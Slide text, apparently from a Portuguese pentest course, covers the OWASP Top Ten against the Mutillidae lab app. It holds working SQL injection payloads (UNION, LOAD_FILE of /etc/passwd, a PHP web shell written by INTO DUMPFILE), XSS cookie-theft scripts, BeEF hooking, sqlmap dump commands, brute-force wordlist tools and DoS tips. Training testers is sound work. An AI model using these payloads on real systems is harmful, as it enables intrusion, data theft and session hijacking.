2. Teste de segurança: Técnicas de Verificação
Falsos Positivos, Falsos Negativos, Camadas indetectáveis.
Aplicaçã
o
RISCOS
3. Testes de segurança: Análise de resultado
Aplicaçã
o
RISCOS
CRITICIDADE, IMPACTO, PROBABILIDADE
IMPLICAÇÕES
RECOMENDAÇÕES
4. -Modelagem de ameaças
-Interações pré- noivado ( escopo, objetivo, reuniões)
-Coleta de informação ( analisadores, eng. Social, etc)
-Análise de Vulnerabilidade
-Exploitation ( explorar para tirar vantagem)
-Pós Exploitation ( mais analise e decisão )
-Relatórios
Fases de um Pentest
5. Coleta de informações
NMAP é o rei
Fonte: https://nmap.org/book/nse.html
-Que informações queremos?
-Que portas estão abertas?
-Que informações podemos aproveitar e pra quê?
Usando o help: nmap --help
Use o grep: nmap | grep -i script
6. nmap -A <target>
nmap -T5 <target>
nmap -F -sV <target>
De olho na latência!!!
NMAP: alguns exemplos do uso
Interface gráfica: zenmap
8. Coleta de informações – Web Servers
Nikto-webserver scanner
http://www.tecmint.com/nikto-a-web-application-vulnerability-and-cgi-scanner-for-
web-servers/
9. Coleta de informações
Exemplo
Nikto -h <target> -o report-nikto.txt
Usando o help
Definindo portas:
-p 80,443 - especificas
-p 80-443 – range
Testar no webscantest.com
-Atenção ao bloqueio do primeiro ataque
-Bancos de vulnerabilidades: www.osvdb.org
10. Scan de
vulnerabilidades
Sintaxe geral: skipfish <parametros> -o /<dir> <target>
skipfish -r 1000 -o /result-skipfish <target>
Obs: apagar diretório antes do próximo scan.
Dicionários:
skipfish -r 1000 -o /result-skipfish3 -S
/usr/share/skipfish/dictionaries/complete.wl <target>
Um pouco mais sobre dicionários
https://github.com/spinkham/skipfish/blob/master/doc/dictionaries.txt
https://github.com/spinkham/skipfish
14. A1- FALHAS DE INJEÇÃO
Ataques via browser ou prompt:
SQL Injection: comandos SQL
XSS Injection: Javascript e HTML
Outros: command Injection, LDAP, XML, etc.
15. Injeta-se uma query SQL na aplicação usando um navegador web comum.
IMPACTO
Criar, ler, atualizar ou excluir qualquer dado
disponível para a aplicação através de SQL;
Ganhar acesso a recursos restritos de S.O e
rede;
Conectar-se a sistemas como se fosse um
usuário autorizado, driblando a necessidade
de uma senha.
SQL Injection
Cenários: CAMPOS EDITÁVEIS OU NÃO, UPLOAD MALIOSOS,
CSS maliciosos, etc.
16. Comportamento: Estímulo / resposta
Error based: erro como resposta
Time based: Blind Injection, tempo como resposta
A técnica básica:
-Mudar o comportamento do comando através concatenadores e comentários
-Primeiro, testar qual símbolo pode quebrar a string: aspas, apóstrofos, parênteses
SQL Injection
19. Bypass de operações - inserção
http://localhost/mutillidae/index.php?page=add-to-your-
blog.php&popUpNotificationCode=SUD1
-Qual o comportamento da funcionalidade?
-Qual payload quebra a app?
-Que operação ela realiza?
-Quantos campos ela tem, de que tipo, em que ordem?
-Onde se vê o resultado?
payload
Hacked','2022-06-01 12:00:01')#
SQL Injection – Error based
20. SQLí e XSS
SQL Injection – Error based
http://localhost/mutillidae/index.php?page=user-info.php
Brincando com union
' union select 1,2,3,4,5,6,7#
Descobrindo o numero de colunas
Em que coluna encaixar o ataque?
SQLI- XSS – funções mysql de string
A vantagem sobre os escapes contra XSS
Payload
' union select 1,2,CHAR(60, 115, 99, 114, 105, 112, 116, 62, 97, 108, 101, 114, 116,
40, 49, 41, 60, 47, 115, 99, 114, 105, 112, 116, 62),4,5,6,7#
21. SQlI – lendo arquivos do host
http://localhost/mutillidae/index.php?page=user-info.php
-Que funcionalidades buscar pra fazer este ataque?
-Que arquivos são interessantes?
-Que funções usar do SGBD para o ataque?
Payload
' UNION ALL SELECT 1,2,LOAD_FILE('/etc/passwd'),4,5,6,7 #
SQL Injection – Error based
23. SQlí – Upload malicioso e command injection
' union select null,null,null,null,null,null,'<HTML> <HEAD> <TITLE>Simple PHP
Shell</TITLE> </HEAD> <BODY> <form method=post> <input type="text"
name="comando"/> <input name="submit" type=submit value=”executar">
</FORM> <?php echo "<pre>"; echo shell_exec($_REQUEST["comando"]); echo
"</pre>"; ?> </BODY> </HTML>' into dumpfile
'/opt/lampp/htdocs/mutillidae/shell.php'#
Executar o shell.php
-Por que a vulnerabilidade funcionou?
-O que aprendemos aqui?
-Quais OWASP TOP TEN
SQL Injection – Error based
24. -Estratégias para descobrir numero de colunas com time based
-Quando o erro não aparece no browser nem no proxy
http://localhost/mutillidae/index.php?page=user-info.php
' union select 1,2,3,4,5,6,sleep(5)#
Exercício no login
- Realizar um ataque DOS usando sleep()
SQLi- Blind Injection – Time based
26. -Quando usar o sqlmap?
-Por que demora tanto a encontrar?
-Por que por vezes não encontra nada?
-Em que momento do ciclo do pentest usa-lo?
-Qual a estratégia de investigação? O que eu quero descobrir
-Que dificuldades existem na formação da string de ataque e como
resolvê-los.
-Como passar parâmetros diversos? Sintaxe e manutenção
-Quando o numero de threads é importante?
SQL-Map
http://sqlmap.org/
27. Amplo, geral, lento e vago
sqlmap -u <host>
Mais objetivo
sqlmap -u <host> dbms=MYSQL
Ainda falta algo..
sqlmap -u <host> dbms=MYSQL <o que fazer quando achar>
SQL-Map
29. Custo de manutenção e êxito no ataque
-Como capturar todos os dados necessários para privilégios pós-login?
-Como capturar cookies? Roubo de sessão
-Como resolver problemas de parâmetros concatenados com "+"
Usando um arquivo de autenticação e parâmetros.
Quais parâmetros?
Capturar a página user-info: admin&adminpass
Quando capturar? O que capturar?
sqlmap -r /opt/user-request.txt dbms=MYSQL --dbs
SQL-Map
30. SQL-Map
Exemplo de uso
sqlmap -r /opt/user-request.txt dbms=MYSQL –dbs
sqlmap -r /opt/user-request.txt dbms=MYSQL -D nowasp --table
sqlmap -r /opt/user-request.txt dbms=MYSQL -T accounts --dump
Prametros para decodificação de senhas
32. Scan de
vulnerabilidades
Ataques
-Inicio Rápido: active scan
-Configurando o proxy
-Ofuscação
-Relatórios
-O escopo de teste: domínio, spider
-Varredura ativa e alertas: cores e grupos
-Falso positos e negativos
-Scanner através de proxy: vantagens
https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
35. A2- QUEBRA DE AUTENTICAÇÃO E
GERENCIAMENTO DE SESSÃO
Cenários: vazamentos ou falhas em funções de
autenticação ou gerenciamento de sessão para
assumir a identidade de outro usuário.
Alvos: contas expostas, senhas fracas, ID de
sessão capturáveis ou de baixa randomização,
IMPACTO
36. A2- Quebra de sessão e
gerenciamento de sessão
Tudo o que possa roubar a
sessão: A1...A10
37. A2- Quebra de sessão e
gerenciamento de
sessão
Bypass de autenticação por
cookies: validade, etc.
Cookies manager, firebug
38. A3-CROSS-SITE SCRIPTING (XSS)
Executar scripts cliente (Javascript, Flash Script, HTML, etc) de
forma direta ( no meu browser) ou remota ( no browser da
vítima).
•Roubar sessões de usuário;
•Pichar sites Web;
•Introduzir worms, zumbis, etc;
•Negação de serviço.
IMPACTO
39. A3- XSS
Tipos: Armazenado, Refletido
Bypass
-Se a sanitização estiver na pagina cliente, repassar
via proxy
-Se a sanitização for para texto plano, repassar
ofuscado
40. A3- XSS
Onde?
-No browser como favorito
-No cookies: campo “content”
Payloads:
javascript:alert(document.cookie)
javascript:(document.cookie)
Javascript ou <script>?
Resultado:
http://localhost/mutillidae/index.php?page=capture-data.php
41. A3- XSS
Use um proxy e ofusque. Por que?
Pagina de login, codificar como URL. O problema do “+”
Depurar e Codificar com o owasp-zap para url e
substituir no login.
<script>document.location="http://localhost/mutillidae/index.php
?page=captured-data.php&c="+document.cookie</script>
Resultado:
http://localhost/mutillidae/index.php?page=capture-data.php
42. A3- XSS persistente -stored
Onde?
http://localhost/mutillidae/index.php?page=add-to-your-blog.php
Exemplos:
-<a href="#" onclick="alert(document.cookie);">veja aqui sua resposta</a>
-Injetando a pagina de login do mutillidae com firebug
44. A3- XSS – BEEF
Usando o beef to exploit
http://127.0.0.1:3000/ui/authentication
http://localhost:3000/hook.js
Onde?
http://localhost/mutillidae/index.php?page=dns-lookup.php
45. A3- XSS – BEEF
Beef – Hook e comandos
-Que informações obtenho?
-Coleta de informações.
-As cores
Enviando um :
-alert
-fake flash update
-Fake notification bar
-Pretty Theft
46. Session hijacking descreve todos os
métodos de um atacante poder
acessar a session de um outro usuário.
A2- Quebra de sessão e
gerenciamento de
sessão
47. Scanner com Owasp-zap Fuzzer:
Sqli, XSS, etc
-Escolha de payload e
parametrizações eficazes
-Diretorio de scripts
-Outros recursos: chamar terceiros
internamente: sqlmap, etc
Exercícios
48. Atacando a autenticação – força bruta
Etapas:
-Observar comportamento para formação de senha
-Gerar lista de senhas
-Preparar a estratégia passiva ou ativa de ataque
-Realizar ataque força bruta
Saber mais:
prevent brute-force attack
Information Security The Complete Reference, 2nd Edition
A2- Quebra de sessão e
gerenciamento de sessão
49. Gerando listas
-Cuidado com listas geradas do lado cliente: como box, listboxes,
Default Password List, etc.
-Como construir listas rapidamente?
-O que posso obter?
-O que mais posso obter com a criação de listas
-Quantas listas preciso para atacar?
-A importancia da engenharia social na formação de senhas
Atacando a autenticação
50. Atacando a autenticação
Gerar listas para o ataque
-Use geradores de CPF
Na internet:
https://packetstormsecurity.com/Crackers/wordlists/
http://www.openwall.com/wordlists/
No kali
ls /usr/share/wordlists/
51. Geradores de lista para ataque
de autenticação
Atacando a autenticação
crunch
cewl
55. A2- Quebra de sessão e gerenciamento de
sessão
Para senhas de S.O
john para decodificar senhas
http://www.cyberciti.biz/faq/unix-linux-password-
cracking-john-the-ripper/
56. A2- Quebra de sessão e gerenciamento de
sessão
Ataque de força bruta – reflexões
-Ataque simples é o que passa a autenticação em texto
plano ao invés de cookies
-performance é importante?
-Use um ataque por proxy burpsuite com for interno
58. A4 e A5
File injection: Upload irrestrito, LFI, RFI
Ver:
/etc/passwd
Exercício:
-Tentar escalada de privilégios: executar um php que não
pode pela via direta - LFI
-Listar membros da intranet - RFI
http://localhost/mutillidae/index.php?page=text-file-viewer.php
59. A4-REFERÊNCIA INSEGURA DIRETA A OBJETOS
Alterar parâmetros aplicação web via URL do browser, campo da aplicação ou
prompt. O usuário pode ser autorizado ou não.
Quebra de limites e restrições a arquivos, diretórios, banco de dados, etc. Exemplos:
• Votar ou marcar consultas quantas vezes quiser;
• Acessar conta de um usuário alterando um ID;
• Ter acesso a funcionalidades de maior privilégio.
IMPACTO
http://example.com/app/accountInfo?IdConta=1
60. A5- CONFIGURAÇÃO INCORRETA
DE SEGURANÇA
Refere-se à configurações de segurança incorretas ou não implementadas, isso
inclui manter atualizados software e suas partes. Utiliza-se demais técnicas de
ataque.
Cenários:
• Contas padrão;
• Páginas não utilizadas;
• Falhas não corrigidas;
• Arquivos e diretórios desprotegidos;
• Padrões de nomes fracos,
• Padrões de senha fracos, etc.
• Relações internas e externas.
• Captchas de baixa randomização e complexidade.
IMPACTO
61. A4 e A5
File injection -upload irrestrito
-Scripts maliciosos
-Imagens maliciosas
-Mudando header para atacar
Exemplo e exercício
https://r57.gen.tr/
C99.php
63. A6- EXPOSIÇÃO DE DADOS SENSÍVEIS
Ausência ou inadequação da proteção aplicações web a dados sensíveis: Trânsito,
armazenamento e exposição ( banco de dados, scripts clientes e servidores).
Ex. dados sensíveis: cartões de crédito, IDs fiscais e credenciais de autenticação.
IMPACTO
• Fraudes no cartão de crédito;
• Roubo de identidade.
• Ganho de privilégios
64. Criptografar: armazenamento (memoria e disco), transito
Para:
-Garantir a identidade de uma ou ambas as partes
-Evitar a violação de dados
-Evitar ataques de replay
SSL+TSL =SSL/TSL-→ HTPS-→ 403
A6- Exposição de dados sensíveis
66. O que testar?
-Criptografia: A implementação usa um conjunto de padrão e cifra de segurança forte?
-Identidade: A execução verifica a identidade do servidor corretamente e
completamente?
-Violação de dados: a implementação protege totalmente os dados do usuário para a
duração da sessão do usuário?
-Ataques de replay: A implementação contém um método para impedir? Man-In-The-
Middle (MitM)
A6- Exposição de dados sensíveis
67. O que testar? Plano de teste
https://www.owasp.org/index.php/Testing_for_SSL-TLS_(OWASP-CM-001)
https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet
https://www.owasp.org/index.php/Testing_for_Weak_SSL/TLS_Ciphers,_Insuffi
cient_Transport_Layer_Protection_(OTG-CRYPST-001)
A6- Exposição de dados sensíveis
68. Determinar versão e existência:
nmap -sV expresso.am.gov.br
Identificar cifras fracas e protocolos: analisadores: Nessus, analisadores on line
sslscan --no-failed expresso.am.gov.br
openssl s_client -no_tls1 -no_ssl3 -connect www.google.com:443
https://www.openssl.org/docs/manmaster/apps/s_client.html
tlssled expresso.am.gov.br 443
http://www.pentesterscripting.com/discovery/ssl_tests
O que testar? Plano de teste
69. Analise de SSl/TSL - reports
Análise geral e força da cifra
https://www.ssllabs.com/ssltest/
Analisa SSLv3 and TLSv1 Protocol Weak CBC
https://pentest-tools.com/network-vulnerability-scanning/ssl-poodle-scanner
OpenSSL DROWN vulnerability scanner
https://pentest-tools.com/network-vulnerability-scanning/drown-ssl-scanner
Check your SSL/TLS certificate installation
https://cryptoreport.websecurity.symantec.com/checker/views/certCheck.jsp
70. Suporte do browser
Lado cliente: alertas do browser, certificados e suporte
Suporte a SSL3 - testa para ver se conecta no site
Disabling Browser Support - SSL v3 Protocol https://blog.mozilla.org/security/2014/10/14/the-
poodle-attack-and-the-end-of-ssl-3-0/
Testando suporte a ssl3
https://www.poodletest.com/
Habilitar ssl
about:config
A6- Exposição de dados sensíveis
71. SSLSTRIP - MItM
Não veremos aqui
SSSTRIPS ( sslstrip e Ettercap)
http://www.100security.com.br/capturando-senhas-com-sslstrip-e-bloquear-o-ataque-com-arpon/
http://www.nanoshots.com.br/2015/09/capturando-senhas-com-social.html
72. A7- FALTA DE FUNÇÃO PARA
CONTROLE DO NÍVEL DE ACESSO
O atacante é um usuário autorizado no
sistema, que simplesmente muda a URL ou um
parâmetro de função privilegiada com o
propósito de acessar a funcionalidade sem
autorização adequada.
Necessário validar no servidor cada função
invocada.
IMPACTO
73. Tipos: vertical, horizontal
Escalada horizontal
Estado de login / logout.
http://localhost/mutillidae/index.php?popUpNotificationCode=AU1
http://localhost/mutillidae/index.php?page=login.php&popUpNotificationCode=LOU1
Escalada Vertical
-Mudar valor cookie ou requisição para obter privilégios: Owasp-zap, firebug, tags
-Acessar o site por troca de url ( linha de comando do browser, proxy)
-Acessa funcionalidade pro troca do nome de funcionalidade, padrões e parâmetros
-Ganhar privilegio pós-login por alteração e arquivos clientes de configuração de privilégios
A7- falta controle de acesso de nível de função
74. Analise de
vulnerabilidade
Para executar: W3af
Configurar: ataque e relatório;
Criar próprio script
Para mais:
https://media.readthedocs.org/pdf/w3af/latest/
w3af.pdf
75. A8- REQUISIÇÃO REMOTA
FORJADA (CSRF)
CENÁRIOS
• Requisições não validadas em aplicações;
• Links em e-mails;
• Mensagens em forums, etc;
• Clones de sites.
Forjar requisições HTTP falsas através de XSS
ou engenharia social, além de inúmeras outras
técnicas. Se o usuário estiver autenticado, o
ataque é bem sucedido.
IMPACTO
76. A8-Requisição remota forjada (CSRF)
Testar no owasp –zap: add your blog
http://tipstrickshack.blogspot.com.br/2012/10/how-to-exploit-csfr-
vulnerabilitycsrf.html
https://pt.wikipedia.org/wiki/Cross-site_request_forgery
https://www.youtube.com/watch?v=GoNKI6dlD80
Black Hat 2013 - Dissecting CSRF Attacks and Countermeasures
77. A9- UTILIZAÇÃO DE COMPONENTES
VULNERÁVEIS CONHECIDOS
O atacante identifica um componente vulnerável
através de varredura ou análise manual e ataca a
aplicação através dele.
Malwares também assumem esse comportamento.
IMPACTO
78. A9-Uso de componentes com
vulnerabilidades conhecidas
Wpscan –
usando como um profissional
wpscan -u <host>
wpscan -u <host> --enumerate t, u,p, vt,vp
wpscan -u <host> -e u,p -f
wpscan -u <host> --enumerate u -t 4
wpscan -u <host> -e u -t 4
79. Aplicações Web frequentemente redirecionam e
encaminham os usuários para outras páginas e
sites e usam dados não confiáveis para
determinar as páginas de destino.
A10- REDIRECIONAMENTOS E
ENCAMINHAMENTOS INVÁLIDOS.
Sem validação adequada, os
atacantes podem redirecionar
vítimas a sites de phishing ou
malware, ou encaminhar para
acessar páginas não autorizadas.
82. DOS
denial-of-service (DoS) ou
distributed denial-of-service (DDoS)
attack
Um bom ataque:
-Pluralizar a fonte: multiplos zumbis
-Sobrecarregar: múltiplas threads, múltiplos alvos
-Tentar bypass da análise:
-slow DOS
-Ip de confiança
_Por dentro da app
-Radomização da anonimidade
83. Tipos de ataque
-Baseada em volume
-Baseado no protocolo
Recursos do servidor ao invés de largura de banda, indo para e partir do servidor
equipamento periférico
-Ataques de camada de aplicativo
Alvo é a camada de aplicação
Slow Dos at all : Slowloris